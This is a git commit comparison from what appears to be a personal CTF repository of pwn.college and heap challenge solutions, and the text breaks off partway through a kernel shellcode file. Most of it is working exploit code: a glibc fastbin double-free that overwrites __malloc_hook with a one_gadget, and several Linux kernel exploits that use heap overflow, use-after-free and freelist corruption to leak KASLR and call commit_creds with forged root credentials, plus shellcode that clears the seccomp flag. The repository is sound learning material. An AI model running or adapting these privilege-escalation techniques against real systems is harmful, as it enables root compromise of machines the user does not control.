Compare commits
11 Commits
41c959a465
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
c26d1b3bf2 | ||
|
|
f736fa4168 | ||
|
|
712ab90546 | ||
|
|
a5eeaba86a | ||
|
|
d5bfc6ce0a | ||
|
|
57c2848513 | ||
| 9e61260765 | |||
|
|
5537ec2174 | ||
|
|
f507def800 | ||
|
|
141e4a8030 | ||
|
|
d615165639 |
BIN
FastBin/CaNaKMgF_remastered/CaNaKMgF_remastered
Executable file
BIN
FastBin/CaNaKMgF_remastered/CaNaKMgF_remastered
Executable file
Binary file not shown.
68
FastBin/CaNaKMgF_remastered/answer.py
Normal file
68
FastBin/CaNaKMgF_remastered/answer.py
Normal file
@@ -0,0 +1,68 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
# coding = utf-8
|
||||||
|
|
||||||
|
# Env: Ubuntu 16.04.7 LTS, GLIBC 2.23-0ubuntu11.3
|
||||||
|
|
||||||
|
from pwn import *
|
||||||
|
context(arch = "amd64", os = "linux", log_level = "debug")
|
||||||
|
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
|
||||||
|
|
||||||
|
p = process('./CaNaKMgF_remastered')
|
||||||
|
elf = ELF('./CaNaKMgF_remastered')
|
||||||
|
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
|
||||||
|
# gdb.attach(p, "")
|
||||||
|
# time.sleep(1)
|
||||||
|
|
||||||
|
def menu(option):
|
||||||
|
p.recvuntil("5. Run away\n")
|
||||||
|
p.sendline(option)
|
||||||
|
|
||||||
|
def allocate(size, data):
|
||||||
|
menu("1")
|
||||||
|
p.recvuntil("Length? ")
|
||||||
|
p.sendline(f"{size}")
|
||||||
|
p.send(data)
|
||||||
|
|
||||||
|
def free(index):
|
||||||
|
menu("3")
|
||||||
|
p.recvuntil("Num? ")
|
||||||
|
p.sendline(f"{index}")
|
||||||
|
|
||||||
|
def read(index):
|
||||||
|
menu("4")
|
||||||
|
p.recvuntil("Num? ")
|
||||||
|
p.sendline(f"{index}")
|
||||||
|
data = p.recvuntil("\n1. Allocate\n")
|
||||||
|
return data[:-13]
|
||||||
|
|
||||||
|
# Leak libc base
|
||||||
|
allocate(0x100, 'a') # 0
|
||||||
|
allocate(0x100, 'a') # 1
|
||||||
|
free(0)
|
||||||
|
main_arena_p88 = u64(read(0).ljust(8, b'\x00'))
|
||||||
|
print(f"main_arena + 88: {hex(main_arena_p88)}")
|
||||||
|
libc_base = main_arena_p88 - 0x3c4b78
|
||||||
|
print(f"libc_base: {hex(libc_base)}")
|
||||||
|
free(1)
|
||||||
|
|
||||||
|
# Double free
|
||||||
|
allocate(0x60, 'a') # 2
|
||||||
|
allocate(0x60, 'a') # 3
|
||||||
|
allocate(0x60, 'a') # 4
|
||||||
|
free(2)
|
||||||
|
free(3)
|
||||||
|
free(2)
|
||||||
|
|
||||||
|
# Overwrite __malloc_hook by fake a chunk at (char *)__malloc_hook - 0x23
|
||||||
|
__malloc_hook = libc_base + libc.symbols['__malloc_hook']
|
||||||
|
|
||||||
|
allocate(0x60, p64(__malloc_hook - 0x23)) # 5
|
||||||
|
allocate(0x60, 'a') # 6
|
||||||
|
allocate(0x60, 'a') # 7
|
||||||
|
|
||||||
|
one_gadget = libc_base + 0xf03a4 # constraints: [rsp+0x50] == NULL
|
||||||
|
allocate(0x60, b'a' * 0x13 + p64(one_gadget)) # 8
|
||||||
|
free(6)
|
||||||
|
free(6)
|
||||||
|
|
||||||
|
p.interactive()
|
||||||
33
FastBin/CaNaKMgF_remastered/pseudo.c
Normal file
33
FastBin/CaNaKMgF_remastered/pseudo.c
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
char* alloc_list[100];
|
||||||
|
unsigned int alloc_idx = 0;
|
||||||
|
int main() {
|
||||||
|
unsigned int option, size, index;
|
||||||
|
while (1) {
|
||||||
|
scanf("%u", &option);
|
||||||
|
switch (option) {
|
||||||
|
case 1: { // allocate(size, data)
|
||||||
|
scanf("%u", &size);
|
||||||
|
char *buf = malloc(size);
|
||||||
|
read(0, buf, size);
|
||||||
|
alloc_list[alloc_idx++] = buf;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case 3: { // free(index)
|
||||||
|
scanf("%u", &index);
|
||||||
|
free(alloc_list[index]);
|
||||||
|
// alloc_list[index] is a
|
||||||
|
// dangling pointer now
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case 4: { // read(index)
|
||||||
|
scanf("%u", &index);
|
||||||
|
puts(alloc_list[index]);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
3
PwnCollege/KernelExploitation/.gitignore
vendored
Normal file
3
PwnCollege/KernelExploitation/.gitignore
vendored
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
!*.ko
|
||||||
|
|
||||||
|
vmlinux
|
||||||
BIN
PwnCollege/KernelExploitation/Level1/challenge1.ko
Normal file
BIN
PwnCollege/KernelExploitation/Level1/challenge1.ko
Normal file
Binary file not shown.
BIN
PwnCollege/KernelExploitation/Level1/challenge1.ko.i64
Normal file
BIN
PwnCollege/KernelExploitation/Level1/challenge1.ko.i64
Normal file
Binary file not shown.
42
PwnCollege/KernelExploitation/Level1/exploit.c
Normal file
42
PwnCollege/KernelExploitation/Level1/exploit.c
Normal file
@@ -0,0 +1,42 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <sys/ioctl.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <string.h>
|
||||||
|
#define CMD_PRINT 22274
|
||||||
|
#define CMD_COPY_FLAG 22276
|
||||||
|
#define CMD_COPY_TO_USER 22272
|
||||||
|
#define CMD_COPY_FROM_USER 22273
|
||||||
|
struct kheap_req_t {
|
||||||
|
void * ubuf;
|
||||||
|
size_t size;
|
||||||
|
};
|
||||||
|
int main() {
|
||||||
|
int fd = open("/proc/kheap", O_RDWR);
|
||||||
|
char buf[0x1000] = {0};
|
||||||
|
struct kheap_req_t req = {buf, 0};
|
||||||
|
req.size = 0x200;
|
||||||
|
memset(buf, '0', 0x1000);
|
||||||
|
ioctl(fd, CMD_COPY_FROM_USER, &req);
|
||||||
|
for (int i = 0; i < 0x1000; i++)
|
||||||
|
ioctl(fd, CMD_COPY_FLAG, &req);
|
||||||
|
req.size = 0x1000;
|
||||||
|
ioctl(fd, CMD_COPY_TO_USER, &req);
|
||||||
|
printf("%s", &buf[0x200]);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Protection:
|
||||||
|
// - No KASLR.
|
||||||
|
// - CONFIG_SLAB_FREELIST_RANDOM=n
|
||||||
|
// - CONFIG_SLAB_FREELIST_HARDENED=n
|
||||||
|
|
||||||
|
// Debug:
|
||||||
|
// Use `sudo cat /proc/modules` to get kernel module base.
|
||||||
|
// gdb> add-symbol-file /challenge/challenge1.ko 0xffffffffc0000000
|
||||||
|
// gdb> b kheap_open
|
||||||
|
// gdb> b kheap_ioctl
|
||||||
|
// An aligned slub slot is 0x200 bytes.
|
||||||
|
|
||||||
|
// $ gcc exploit.c -o exploit
|
||||||
BIN
PwnCollege/KernelExploitation/Level2/challenge2.ko
Normal file
BIN
PwnCollege/KernelExploitation/Level2/challenge2.ko
Normal file
Binary file not shown.
BIN
PwnCollege/KernelExploitation/Level2/challenge2.ko.i64
Normal file
BIN
PwnCollege/KernelExploitation/Level2/challenge2.ko.i64
Normal file
Binary file not shown.
187
PwnCollege/KernelExploitation/Level2/exploit.cpp
Normal file
187
PwnCollege/KernelExploitation/Level2/exploit.cpp
Normal file
@@ -0,0 +1,187 @@
|
|||||||
|
#include <cstdio>
|
||||||
|
#include <cstring>
|
||||||
|
#include <cstdint>
|
||||||
|
#include <cstdlib>
|
||||||
|
#include <ctime>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <sys/ioctl.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#define CMD_COPY_TO_USER 22272
|
||||||
|
#define CMD_COPY_FROM_USER 22273
|
||||||
|
#define CMD_EXE_FUNC_PTR 22274
|
||||||
|
|
||||||
|
const uint64_t MODULE_BASE = 0xffffffffc0000000ull;
|
||||||
|
const uint64_t commit_creds = 0xffffffff810b8bb0ull;
|
||||||
|
|
||||||
|
struct cred {
|
||||||
|
uint64_t usage;
|
||||||
|
uint32_t uid;
|
||||||
|
uint32_t gid;
|
||||||
|
uint32_t suid;
|
||||||
|
uint32_t sgid;
|
||||||
|
uint32_t euid;
|
||||||
|
uint32_t egid;
|
||||||
|
uint32_t fsuid;
|
||||||
|
uint32_t fsgid;
|
||||||
|
unsigned int securebits;
|
||||||
|
uint64_t cap_inheritable;
|
||||||
|
uint64_t cap_permitted;
|
||||||
|
uint64_t cap_effective;
|
||||||
|
uint64_t cap_bset;
|
||||||
|
uint64_t cap_ambient;
|
||||||
|
unsigned char jit_keyring;
|
||||||
|
void *session_keyring;
|
||||||
|
void *process_keyring;
|
||||||
|
void *thread_keyring;
|
||||||
|
void *request_key_auth;
|
||||||
|
void *security;
|
||||||
|
void *user;
|
||||||
|
void *user_ns;
|
||||||
|
void *ucounts;
|
||||||
|
void *group_info;
|
||||||
|
union {
|
||||||
|
int non_rcu;
|
||||||
|
struct {
|
||||||
|
void *next;
|
||||||
|
void (*func)(void *head);
|
||||||
|
} rcu __attribute__((aligned(sizeof(void *))));
|
||||||
|
};
|
||||||
|
};
|
||||||
|
|
||||||
|
char buf[0x1000];
|
||||||
|
struct kheap_req_t {
|
||||||
|
void * ubuf;
|
||||||
|
size_t size;
|
||||||
|
} req = {buf, 0};
|
||||||
|
std::vector<int> fds;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
int new_fd() {
|
||||||
|
return open("/proc/kheap", O_RDWR);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool is_slots_adjacent(int attack_fd, int victim_fd) {
|
||||||
|
uint64_t * ptr;
|
||||||
|
// write to victim_fd
|
||||||
|
ptr = (uint64_t *) buf;
|
||||||
|
int rand_value = rand();
|
||||||
|
*ptr = rand_value;
|
||||||
|
req.size = 0x8;
|
||||||
|
ioctl(victim_fd, CMD_COPY_FROM_USER, &req);
|
||||||
|
// read from attack_fd
|
||||||
|
req.size = 0x208;
|
||||||
|
ioctl(attack_fd, CMD_COPY_TO_USER, &req);
|
||||||
|
ptr = (uint64_t *) &buf[0x200];
|
||||||
|
if ((*ptr) == rand_value) {
|
||||||
|
printf("%d is adjacent to %d\n", attack_fd, victim_fd);
|
||||||
|
return true;
|
||||||
|
} else {
|
||||||
|
printf("%d isn't adjacent to %d\n", attack_fd, victim_fd);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int find_attack_object(int victim_fd) {
|
||||||
|
for (int i = 0; i < fds.size(); i++) {
|
||||||
|
if (is_slots_adjacent(fds[i], victim_fd))
|
||||||
|
return fds[i];
|
||||||
|
}
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
void close_fds() {
|
||||||
|
for (int i = 0; i < fds.size(); i++) {
|
||||||
|
close(fds[i]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Refer to
|
||||||
|
// https://ctf-wiki.org/pwn/linux/kernel-mode/aim/privilege-escalation/change-self/#commit_credsinit_cred
|
||||||
|
// https://elixir.bootlin.com/linux/v6.7.9/source/kernel/cred.c#L44
|
||||||
|
void do_fake_cred(struct cred *fake_cred) {
|
||||||
|
memset(fake_cred, 0, sizeof(struct cred));
|
||||||
|
// placement new
|
||||||
|
new (fake_cred) cred {
|
||||||
|
.usage = 1,
|
||||||
|
.uid = 0,
|
||||||
|
.gid = 0,
|
||||||
|
.suid = 0,
|
||||||
|
.sgid = 0,
|
||||||
|
.euid = 0,
|
||||||
|
.egid = 0,
|
||||||
|
.fsuid = 0,
|
||||||
|
.fsgid = 0,
|
||||||
|
.securebits = 0,
|
||||||
|
.cap_inheritable = 0,
|
||||||
|
.cap_permitted = 0xFFFFFFFFFFFFFFFF,
|
||||||
|
.cap_effective = 0xFFFFFFFFFFFFFFFF,
|
||||||
|
.cap_bset = 0xFFFFFFFFFFFFFFFF,
|
||||||
|
// nm -a /challenge/vmlinux | grep symbol_name
|
||||||
|
.security = (void*)0xffffffff82a51560, // picked a kernel memory address and it worked
|
||||||
|
.user = (void*)0xffffffff82a51560, // root_user
|
||||||
|
.user_ns = (void*)0xffffffff82a51600, // init_user_ns
|
||||||
|
.ucounts = (void*)0xffffffff82a53800, // init_ucounts
|
||||||
|
.group_info = (void*)0xffffffff82a52fd8, // init_groups
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
srand(time(NULL));
|
||||||
|
|
||||||
|
int times = 1;
|
||||||
|
int attack_fd, victim_fd = new_fd();
|
||||||
|
fds.push_back(victim_fd);
|
||||||
|
// try to find an attack chunk exactly before victim chunk
|
||||||
|
while ((attack_fd = find_attack_object(victim_fd)) == -1) {
|
||||||
|
if (times > 100) {
|
||||||
|
printf("heap spray failed\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
victim_fd = new_fd();
|
||||||
|
fds.push_back(victim_fd);
|
||||||
|
times++;
|
||||||
|
}
|
||||||
|
|
||||||
|
// fake a `struct cred` in victim chunk's `buf`
|
||||||
|
struct cred fake_cred;
|
||||||
|
do_fake_cred(&fake_cred);
|
||||||
|
memcpy(buf, &fake_cred, sizeof(struct cred));
|
||||||
|
req.size = sizeof(struct cred);
|
||||||
|
ioctl(victim_fd, CMD_COPY_FROM_USER, &req);
|
||||||
|
// overwrite victim chunk's `func` to `commit_creds` via attack chunk's OOB
|
||||||
|
uint64_t * ptr = (uint64_t *)&buf[0x1f8];
|
||||||
|
*ptr = commit_creds;
|
||||||
|
req.size = 0x200;
|
||||||
|
ioctl(attack_fd, CMD_COPY_FROM_USER, &req);
|
||||||
|
// execute function pointer in kernel space
|
||||||
|
ioctl(victim_fd, CMD_EXE_FUNC_PTR, &req);
|
||||||
|
// syscall execve lead to kernel problems as `struct cred` is faked
|
||||||
|
// execve("/bin/sh", NULL, NULL);
|
||||||
|
// try change the mode of flag
|
||||||
|
chmod("/flag", 0777);
|
||||||
|
|
||||||
|
close_fds();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Protection:
|
||||||
|
// - No KASLR.
|
||||||
|
// - SMAP, SMEP On.
|
||||||
|
// - CONFIG_SLAB_FREELIST_RANDOM=y
|
||||||
|
// - CONFIG_SLAB_FREELIST_HARDENED=n
|
||||||
|
// - CONFIG_RANDSTRUCT=n
|
||||||
|
|
||||||
|
// Debug:
|
||||||
|
// Use `sudo cat /proc/modules` to get kernel module base.
|
||||||
|
// gdb> add-symbol-file /challenge/challenge2.ko 0xffffffffc0000000
|
||||||
|
// gdb> b kheap_open
|
||||||
|
// gdb> b kheap_ioctl
|
||||||
|
// An aligned slub slot is 0x200 bytes.
|
||||||
|
|
||||||
|
// $ g++ exploit.cpp -o exploit -g
|
||||||
BIN
PwnCollege/KernelExploitation/Level3/challenge3.ko
Normal file
BIN
PwnCollege/KernelExploitation/Level3/challenge3.ko
Normal file
Binary file not shown.
BIN
PwnCollege/KernelExploitation/Level3/challenge3.ko.i64
Normal file
BIN
PwnCollege/KernelExploitation/Level3/challenge3.ko.i64
Normal file
Binary file not shown.
229
PwnCollege/KernelExploitation/Level3/exploit.cpp
Normal file
229
PwnCollege/KernelExploitation/Level3/exploit.cpp
Normal file
@@ -0,0 +1,229 @@
|
|||||||
|
#include <cstdio>
|
||||||
|
#include <cstring>
|
||||||
|
#include <cstdint>
|
||||||
|
#include <cstdlib>
|
||||||
|
#include <ctime>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <sys/ioctl.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#define CMD_COPY_TO_USER 0x5700
|
||||||
|
#define CMD_COPY_FROM_USER 0x5701
|
||||||
|
#define CMD_EXE_FUNC_PTR 0x5702
|
||||||
|
#define CMD_FREE_CHUNK 0x5703
|
||||||
|
|
||||||
|
// Unrandomized
|
||||||
|
// nm -a /challenge/vmlinux | grep symbol_name
|
||||||
|
const uint64_t kernel_base = 0xffffffff81000000ull; // _text
|
||||||
|
const uint64_t commit_creds = 0xffffffff810b8bb0ull; // commit_creds
|
||||||
|
const uint64_t root_user = 0xffffffff82a51560ull; // root_user
|
||||||
|
const uint64_t init_user_ns = 0xffffffff82a51600ull; // init_user_ns
|
||||||
|
const uint64_t init_ucounts = 0xffffffff82a53800ull; // init_ucounts
|
||||||
|
const uint64_t init_groups = 0xffffffff82a52fd8ull; // init_groups
|
||||||
|
const uint64_t init_cred = 0xffffffff82a52f20ull; // init_cred
|
||||||
|
const uint64_t _printk_rb_static_infos = 0xffffffff82a58c20ull; // _printk_rb_static_infos
|
||||||
|
// nm -a /challenge/challenge3.ko | grep symbol_name
|
||||||
|
const uint64_t do_print = 0x10ull; // do_print
|
||||||
|
// Randomized
|
||||||
|
uint64_t kernel_ASLR_offset = 0;
|
||||||
|
uint64_t _printk_rb_static_infos_randomized = 0;
|
||||||
|
uint64_t kernel_base_randomized = 0;
|
||||||
|
uint64_t commit_creds_randomized = 0;
|
||||||
|
|
||||||
|
struct cred {
|
||||||
|
uint64_t usage;
|
||||||
|
uint32_t uid;
|
||||||
|
uint32_t gid;
|
||||||
|
uint32_t suid;
|
||||||
|
uint32_t sgid;
|
||||||
|
uint32_t euid;
|
||||||
|
uint32_t egid;
|
||||||
|
uint32_t fsuid;
|
||||||
|
uint32_t fsgid;
|
||||||
|
unsigned int securebits;
|
||||||
|
uint64_t cap_inheritable;
|
||||||
|
uint64_t cap_permitted;
|
||||||
|
uint64_t cap_effective;
|
||||||
|
uint64_t cap_bset;
|
||||||
|
uint64_t cap_ambient;
|
||||||
|
unsigned char jit_keyring;
|
||||||
|
void *session_keyring;
|
||||||
|
void *process_keyring;
|
||||||
|
void *thread_keyring;
|
||||||
|
void *request_key_auth;
|
||||||
|
void *security;
|
||||||
|
void *user;
|
||||||
|
void *user_ns;
|
||||||
|
void *ucounts;
|
||||||
|
void *group_info;
|
||||||
|
union {
|
||||||
|
int non_rcu;
|
||||||
|
struct {
|
||||||
|
void *next;
|
||||||
|
void (*func)(void *head);
|
||||||
|
} rcu __attribute__((aligned(sizeof(void *))));
|
||||||
|
};
|
||||||
|
};
|
||||||
|
|
||||||
|
char buf[0x1000];
|
||||||
|
struct kheap_req_t {
|
||||||
|
void * ubuf;
|
||||||
|
size_t size;
|
||||||
|
} req = {buf, 0};
|
||||||
|
|
||||||
|
|
||||||
|
int new_fd() {
|
||||||
|
return open("/proc/kheap", O_RDWR);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Refer to
|
||||||
|
// https://ctf-wiki.org/pwn/linux/kernel-mode/aim/privilege-escalation/change-self/#commit_credsinit_cred
|
||||||
|
// https://elixir.bootlin.com/linux/v6.7.9/source/kernel/cred.c#L44
|
||||||
|
void do_fake_cred(struct cred *fake_cred, void* security) {
|
||||||
|
memset(fake_cred, 0, sizeof(struct cred));
|
||||||
|
// placement new
|
||||||
|
new (fake_cred) cred {
|
||||||
|
.usage = 1,
|
||||||
|
.uid = 0,
|
||||||
|
.gid = 0,
|
||||||
|
.suid = 0,
|
||||||
|
.sgid = 0,
|
||||||
|
.euid = 0,
|
||||||
|
.egid = 0,
|
||||||
|
.fsuid = 0,
|
||||||
|
.fsgid = 0,
|
||||||
|
.securebits = 0,
|
||||||
|
.cap_inheritable = 0,
|
||||||
|
.cap_permitted = 0xFFFFFFFFFFFFFFFF,
|
||||||
|
.cap_effective = 0xFFFFFFFFFFFFFFFF,
|
||||||
|
.cap_bset = 0xFFFFFFFFFFFFFFFF,
|
||||||
|
// nm -a /challenge/vmlinux | grep symbol_name
|
||||||
|
.security = security,
|
||||||
|
.user = (void*)(kernel_ASLR_offset + root_user),
|
||||||
|
.user_ns = (void*)(kernel_ASLR_offset + init_user_ns),
|
||||||
|
.ucounts = (void*)(kernel_ASLR_offset + init_ucounts),
|
||||||
|
.group_info = (void*)(kernel_ASLR_offset + init_groups),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
const int max_buffer_size = 0x1D0;
|
||||||
|
const int freelist_ptr_offset_to_buf = 0xE0;
|
||||||
|
const int fake_chunk_offset = 0x10;
|
||||||
|
const int buf_to_chunk_start_offset = 0x8;
|
||||||
|
const int module_data_offset = 0x2000;
|
||||||
|
const int struct_module_offset_to_data = 0xC0;
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
req.size = max_buffer_size;
|
||||||
|
|
||||||
|
int fd1 = new_fd();
|
||||||
|
// Free chunk of `fd1`
|
||||||
|
ioctl(fd1, CMD_FREE_CHUNK, &req);
|
||||||
|
// Freelist: fd1 -> fd2 -> fd3 -> ...
|
||||||
|
// Use after Free chunk of `fd1`
|
||||||
|
ioctl(fd1, CMD_COPY_TO_USER, &req);
|
||||||
|
// Read `ptr` of freed chunk of `fd1` -- `fd2`
|
||||||
|
uint64_t fd2_ptr = *(uint64_t *)&buf[freelist_ptr_offset_to_buf];
|
||||||
|
printf("fd2_ptr: %p\n", fd2_ptr);
|
||||||
|
// Regain the same chunk of `fd1` -- `fd1_dup` to get chunk of `fd2` in next steps
|
||||||
|
int fd1_dup = new_fd();
|
||||||
|
int fd2 = new_fd();
|
||||||
|
// Free chunk of `fd2`
|
||||||
|
ioctl(fd2, CMD_FREE_CHUNK, &req);
|
||||||
|
// Freelist: fd2 -> fd3 -> ...
|
||||||
|
// Read `ptr` of freed chunk of `fd2` -- `fd3`
|
||||||
|
ioctl(fd2, CMD_COPY_TO_USER, &req);
|
||||||
|
uint64_t fd3_ptr = *(uint64_t *)&buf[freelist_ptr_offset_to_buf];
|
||||||
|
printf("fd3_ptr: %p\n", fd3_ptr);
|
||||||
|
// Set `ptr` to `fd2` + fake_chunk_offset
|
||||||
|
*(uint64_t *)&buf[freelist_ptr_offset_to_buf] = fd2_ptr + fake_chunk_offset;
|
||||||
|
ioctl(fd2, CMD_COPY_FROM_USER, &req);
|
||||||
|
// Freelist: fd2 -> fd2 + fake_chunk_offset -> 0
|
||||||
|
// Regain the same chunk of `fd2` -- `fd2_dup` to get chunk of `fd2` + fake_chunk_offset in next steps
|
||||||
|
int fd2_dup = new_fd();
|
||||||
|
// Set `ptr` of faked `fd2` + fake_chunk_offset to `fd3` to recover the corrupted state of freelist
|
||||||
|
*(uint64_t *)&buf[freelist_ptr_offset_to_buf + fake_chunk_offset] = fd3_ptr;
|
||||||
|
ioctl(fd2, CMD_COPY_FROM_USER, &req);
|
||||||
|
// Freelist: fd2 + fake_chunk_offset -> fd3 -> ...
|
||||||
|
int fd2_fake = new_fd();
|
||||||
|
// Freelist: fd3 -> ...
|
||||||
|
// Now, the offset between chunk of `fd2` and chunk of `fd2_fake` is `fake_chunk_offset`
|
||||||
|
// Try to leak address of kernel module symbol `do_print`
|
||||||
|
ioctl(fd2, CMD_COPY_TO_USER, &req);
|
||||||
|
uint64_t do_print_ptr = *(uint64_t *)&buf[fake_chunk_offset - buf_to_chunk_start_offset];
|
||||||
|
printf("do_print_ptr: %p\n", do_print_ptr);
|
||||||
|
uint64_t kernel_module_base = do_print_ptr - do_print;
|
||||||
|
printf("kernel_module_base: %p\n", kernel_module_base);
|
||||||
|
// set the func ptr to an invalid value
|
||||||
|
*(uint64_t *)&buf[fake_chunk_offset - buf_to_chunk_start_offset] = 0x4142434445464748ull;
|
||||||
|
ioctl(fd2, CMD_COPY_FROM_USER, &req);
|
||||||
|
|
||||||
|
// Fork a child process to trigger an Oops to leak kernel base.
|
||||||
|
// NOTE that both child and parent process keep reference to
|
||||||
|
// the file descriptors, so even if the child process crashed,
|
||||||
|
// parent process still holds them so the freelist chain won't be
|
||||||
|
// corrupted meanwhile reducing the exploit development complexity.
|
||||||
|
int child_pid = fork();
|
||||||
|
if (child_pid == -1) {
|
||||||
|
perror("fork failed");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
if (child_pid == 0) {
|
||||||
|
// Child process
|
||||||
|
printf("Child process triggering kernel Oops.\n");
|
||||||
|
ioctl(fd2_fake, CMD_EXE_FUNC_PTR, &req);
|
||||||
|
// Expected Oops there
|
||||||
|
printf("Unreachable path!\n");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
// Parent process
|
||||||
|
wait(nullptr);
|
||||||
|
printf("Parent process waiting finished.\n");
|
||||||
|
// In kernel Oops message,
|
||||||
|
// r10 is `_printk_rb_static_infos`
|
||||||
|
// r11 is `_printk_rb_static_descs`
|
||||||
|
printf("Please input r10 in hex form, e.g. ffffffffb4458c20:\n");
|
||||||
|
scanf("%llx", &_printk_rb_static_infos_randomized);
|
||||||
|
kernel_ASLR_offset = _printk_rb_static_infos_randomized - _printk_rb_static_infos;
|
||||||
|
kernel_base_randomized = kernel_base + kernel_ASLR_offset;
|
||||||
|
printf("kernel_base: %p\n", kernel_base_randomized);
|
||||||
|
// Validate via `sudo cat /proc/kallsyms | grep " _text"`
|
||||||
|
commit_creds_randomized = commit_creds + kernel_ASLR_offset;
|
||||||
|
|
||||||
|
// set the func ptr to randomized `commit_creds`
|
||||||
|
*(uint64_t *)&buf[fake_chunk_offset - buf_to_chunk_start_offset] = commit_creds_randomized;
|
||||||
|
ioctl(fd2, CMD_COPY_FROM_USER, &req);
|
||||||
|
// fake a `struct cred` in `fd2_fake`
|
||||||
|
struct cred fake_cred;
|
||||||
|
uint64_t security_addr = fd2_ptr + fake_chunk_offset + 8 + sizeof(struct cred);
|
||||||
|
do_fake_cred(&fake_cred, (void *)security_addr);
|
||||||
|
memcpy(buf, &fake_cred, sizeof(struct cred));
|
||||||
|
ioctl(fd2_fake, CMD_COPY_FROM_USER, &req);
|
||||||
|
// execute function pointer in kernel space
|
||||||
|
ioctl(fd2_fake, CMD_EXE_FUNC_PTR, &req);
|
||||||
|
// try change the mode of flag
|
||||||
|
chmod("/flag", 0777);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Protection:
|
||||||
|
// - KASLR on.
|
||||||
|
// - SMAP, SMEP On.
|
||||||
|
// - CONFIG_SLAB_FREELIST_RANDOM=y
|
||||||
|
// - CONFIG_SLAB_FREELIST_HARDENED=n
|
||||||
|
// - CONFIG_RANDSTRUCT=n
|
||||||
|
|
||||||
|
// Debug:
|
||||||
|
// Use `sudo cat /proc/modules` to get kernel module base.
|
||||||
|
// gdb> add-symbol-file /challenge/challenge3.ko [ModuleBase]
|
||||||
|
// gdb> b kheap_open
|
||||||
|
// gdb> b kheap_ioctl
|
||||||
|
// An aligned slub slot is 0x200 bytes, original slub slot is 0x1D8 bytes.
|
||||||
|
|
||||||
|
// $ g++ exploit.cpp -o exploit -g
|
||||||
26
PwnCollege/KernelSecurity/Level10.0/exploit.c
Normal file
26
PwnCollege/KernelSecurity/Level10.0/exploit.c
Normal file
@@ -0,0 +1,26 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/ioctl.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
struct evil
|
||||||
|
{
|
||||||
|
char buffer[256];
|
||||||
|
int (*log_function)(const char *, ...);
|
||||||
|
} s;
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
int fd = open("/proc/pwncollege", O_WRONLY);
|
||||||
|
memset(s.buffer, '0', 256);
|
||||||
|
write(fd, &s, 256);
|
||||||
|
uint64_t printk_addr;
|
||||||
|
scanf("%llx", &printk_addr);
|
||||||
|
s.log_function = printk_addr - 0xffffffffb90b69a9 + 0xffffffffb9089b30; // run_cmd
|
||||||
|
printf("%llx\n", s.log_function);
|
||||||
|
// run_cmd doesn't use stdin nor stdout. It also doesn't use current working directory. Its CWD is /. The executable should use absolute path.
|
||||||
|
strcpy(s.buffer, "/bin/chmod 666 /flag");
|
||||||
|
write(fd, &s, sizeof(struct evil) - 1);
|
||||||
|
}
|
||||||
48
PwnCollege/KernelSecurity/Level11.0/shellcode.py
Normal file
48
PwnCollege/KernelSecurity/Level11.0/shellcode.py
Normal file
@@ -0,0 +1,48 @@
|
|||||||
|
import sys
|
||||||
|
sys.path.append("..")
|
||||||
|
|
||||||
|
from pwn import context, shellcraft
|
||||||
|
from common import *
|
||||||
|
context(arch = 'amd64', os = 'linux')
|
||||||
|
|
||||||
|
kernel_assembly = f"""
|
||||||
|
/* current->thread_info.flags &= ~(1 << TIF_SECCOMP); */
|
||||||
|
mov rdx, gs:0x15d00 /* runtime-relocated offsets */
|
||||||
|
mov rax, [rdx]
|
||||||
|
and ah, 0xfe
|
||||||
|
mov [rdx], rax
|
||||||
|
/* commit_creds(prepare_kernel_cred(NULL)); */
|
||||||
|
xor rdi, rdi
|
||||||
|
movabs rsi, 0xffffffff81089660
|
||||||
|
call rsi /* prepare_kernel_cred */
|
||||||
|
mov rdi, rax
|
||||||
|
movabs rsi, 0xffffffff81089310
|
||||||
|
call rsi /* commit_creds */
|
||||||
|
